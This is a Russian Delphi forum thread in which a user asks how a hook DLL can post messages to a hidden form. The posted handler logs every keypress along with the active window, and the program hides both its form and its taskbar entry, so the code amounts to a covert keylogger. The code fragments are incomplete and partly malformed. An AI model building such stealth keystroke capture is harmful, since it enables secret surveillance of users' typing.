Конференция "WinAPI" » Как перезать сообщение скрытой форме из dll [D7]
 
  • cad2206 (13.11.12 19:27) [0]
    Добрый день. Собственно загвоздка в том, что форма скрыта и из dll функция FindWindow ей похоже не находит.

    Например из dll пытаюсь найти форму Form1 и передать ей команду:


    hWnd:=FindWindow(nil,'Form1');
    PostMessage(hWnd, ...)



    В самой программе делаю обработчик и все вроде ок. НО, если в процессе активации формы указать:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    то в dll функция FindWindow ее не находит...
    Подскажите, как реализовать?
  • MBo © (13.11.12 20:20) [1]
    скрытые окна FindWindow находит
  • cad2206 (13.11.12 20:33) [2]
    находит, если использую ее в самой программе. А вот из dll (которую, собственно, инициирую из этой же программы) похоже нет... Комментирую в программе эти две строки:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    и все ок...
  • MBo © (13.11.12 21:02) [3]
    а окно Application зачем прятать?
  • cad2206 (13.11.12 21:08) [4]
    чтобы в панели задач небыло видно...
  • Сергей М. © (13.11.12 22:05) [5]
    А накой шиш твоей библиотеке искать окно, если хендл нужного окна твое хост-приложение может преспокойно передать библиотеке ?
  • cad2206 (13.11.12 22:20) [6]
    да хендл окна и не меняется то...смысл его передавать в библиотеку? а может как-то явно указать то его? просто задать:
    PostMessage(Form1, ...)


    ? думаю, не прокатит...
    не имею возможности сейчас попробовать(
  • Сергей М. © (13.11.12 22:35) [7]

    > смысл его передавать в библиотеку?


    А смысл его искать. если он известен ?
    Заведи в своей dll экпортируемую процедуру и вызывай ее из хоста, передавая ей параметром хендл окна нужной формы. В теле процедуры сохраня полученный хендл куда-нть в глоб.переменную, которую и используй первым параметром в PostMessage
  • cad2206 (13.11.12 22:47) [8]
    ну смысл ясен, спасибо, завтра попробую... и все же интерестно, зная имя окна, а не его хендл, можно послать ему сообщение?
  • Сергей М. © (14.11.12 09:12) [9]

    > зная имя окна, а не его хендл, можно послать ему сообщение?


    Нельзя.
    Нужен именно хендл.
  • QAZ9 (14.11.12 10:41) [10]
    походу это реализация самого идиотского хука за всю историю человечества
  • cad2206 (14.11.12 13:39) [11]
    Нука QAZ9, обоснуй
  • cad2206 (14.11.12 15:21) [12]
    Сергей М. - в библиотеке прописываю процедуру:


    procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;
    begin
    ServerWnd:=hWnd;
    end;



    При попытке в программе выполнить:

    handleWnd(Form1.Handle) пишеет, много параметров.. что не так? подскажите
  • cad2206 (14.11.12 15:42) [13]
    че то я запутался....
    в самой библиотеке дописал:


    if FindWindow(nil,'Form1') <>0 then
    ShowMessage('Find');
    /CODE>

    и получаю это сообщение блин...

  • Сергей М. © (14.11.12 16:37) [14]

    > пишеет, много параметров.. что не так?



    > procedure handleWnd(hWnd:HWND; i:integer); stdcall; export; //загибай пальцы - сколько здесь параметров



    > handleWnd(Form1.Handle); //а здесь сколько ?



    > и получаю это сообщение блин


    Опять ты оглобли заворачиваешь с прямой дороги в буераки ?)
  • cad2206 (14.11.12 16:53) [15]
    попробую описать подробнее, запутался сам...
    Итак.
    Основная программа, в которой имеется обработчик события о поступлении сообщения форме, процедура обработчика:


    procedure TForm1.KeyMessageHandler(var Msg: TMessage);
    var
    KeyName:array[0..99] of char;
    _MSG:TMsg;
    begin
    GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));

    //функция, присваювающая переменной ActWnd значение активного окна
    GetActiveWindow;

    //если окно сменилось укажем его
     if LastActWnd<>ActWnd then
      begin
       BufferWrite(ActWnd);
      end;
                                                                 
     KeyName[0]:=chr(Msg.WParamLo);
     KeyName[1]:=#0;
     BufferWrite(KeyName);
     end
    else
     BufferWrite(KeyName);
    BufferWrite('>');

    end;



    т.е. в буфере имеем кнопку и активное окно, если оно сменилось.

    в программе, при активации формы прописано:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    В самой библиотеке код я писал:


    hWnd:=FindWindow(nil,'Form1');
    PostMessage(hWnd, ...)



    После долгих пониманий (и так и недопониманий) заметил следующее:
    по нажатию F9, программа, запускается, окна, естесственно нет. так вот, если сразу нажать какую либо кнопку, сообщение форме не приходит и больше не придет, а вот если сразу выбрать другое приложение (например qip) и нажать - сообщение приходит и пока окно активно, сообщения о нажатии лются фотме, но если опять выбрать другое приложение - все, опять не доходит.

    Если же в программе закоментиловать одну из строк:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    то все работает.
    Как это решить, ну никак сообразить немогу. Наверное, потому, что не доконца понимаю работу хуков или еще чего. Помогите пожалуйста. Или может какие альтернативные методы передачи есть...
  • cad2206 (14.11.12 16:56) [16]
    Сергей М. - прости, прислал ошибочный код


    procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;



    параметр i прописывал для эксперимента и случайно выслал в тему...
    ошибку о многих параметрах получал при:


    procedure handleWnd(hWnd:HWND); stdcall; export;

  • cad2206 (14.11.12 16:59) [17]
    блин... в коде процедуры обработки сообщения форме кое что не дописал, вот так правильно:


    procedure TForm1.KeyMessageHandler(var Msg: TMessage);
    var
    KeyName:array[0..99] of char;
    _MSG:TMsg;
    begin
    GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));

    //функция, присваювающая переменной ActWnd значение активного окна
    GetActiveWindow;

    //если окно сменилось укажем его
     if LastActWnd<>ActWnd then
      begin
       BufferWrite(ActWnd);
       LastActWnd:=ActWnd;
      end;
                                                                 
     KeyName[0]:=chr(Msg.WParamLo);
     KeyName[1]:=#0;
     BufferWrite(KeyName);
     end
    else
     BufferWrite(KeyName);
    BufferWrite('>');

    end;

  • cad2206 (14.11.12 16:59) [18]
    вобщем, помогите, наставте на путь...
  • QAZ9 (14.11.12 17:59) [19]

    > Нука QAZ9, обоснуй

    обосновать что ? ты для начала, сделай чтобы вообще работало, потом понтуйся :)
 
Конференция "WinAPI" » Как перезать сообщение скрытой форме из dll [D7]
Есть новые Нет новых   [134430   +2][b:0][p:0.002]